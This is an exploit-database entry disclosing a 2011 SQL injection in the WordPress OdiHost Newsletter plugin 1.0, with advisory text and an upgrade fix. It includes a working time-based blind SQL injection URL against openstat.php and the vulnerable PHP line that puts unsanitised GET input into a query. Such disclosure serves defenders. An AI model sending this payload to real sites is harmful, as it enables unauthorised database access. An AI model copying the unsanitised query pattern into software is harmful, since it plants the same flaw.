header-logo
Suggest Exploit
vendor:
OdiHost Newsletter plugin
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: OdiHost Newsletter plugin
Affected Version From: 1
Affected Version To: 1
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:odihost_newsletter_plugin
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'id' and 'uid' parameters to '/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php' script. A remote attacker can execute arbitrary SQL commands in application's database.

Mitigation:

Update to version 1.1 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/odihost-newsletter-plugin.zip
# Version: 1.0 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
$newsletterid = $_GET["id"];

...
	
$wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid);